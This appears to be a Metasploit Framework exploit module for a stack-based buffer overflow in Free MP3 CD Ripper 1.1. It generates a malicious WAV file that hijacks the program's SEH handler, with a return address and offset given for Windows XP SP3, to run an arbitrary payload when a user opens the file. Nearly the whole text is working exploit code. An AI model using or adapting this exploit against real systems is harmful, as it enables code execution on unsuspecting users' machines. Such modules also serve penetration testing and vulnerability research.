Free MP3 CD Ripper 1.1 (WAV File) Stack Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Free MP3 CD Ripper 1.1 (WAV File) Stack Buffer Overflow',  
'Description' => %q{   
This module exploits a stack based buffer overflow found in Free MP3 CD  
Ripper 1.1. The overflow is triggered when an unsuspecting user opens a malicious  
WAV file.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Richard Leahy', # Initial discovery  
'X-h4ck', # msf module is based on his poc  
'Tiago Henriques', # msf module  
'James Fitts' # clean ups  
],  
'References' =>  
[  
[ 'OSVDG', '63349' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/11975' ], #Initial disclosure  
[ 'URL', 'http://www.exploit-db.com/exploits/17727/' ] #This exploit is based on this poc  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'DisablePayloadHandler' => 'true',  
},  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[   
'Windows XP SP3 EN',  
{   
'Ret' => 0x1001860b, # p/p/r in libFLAC.dll  
'Offset' => 4116  
}   
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Aug 27 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.wav']),  
], self.class)  
end  
  
def exploit  
  
wav = Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 100  
wav << payload.encoded  
wav << rand_text_alpha_upper(target['Offset'] - (100 + payload.encoded.length))  
wav << generate_seh_record(target.ret)  
wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 4  
wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4050").encode_string  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(wav)  
  
end  
  
end  
`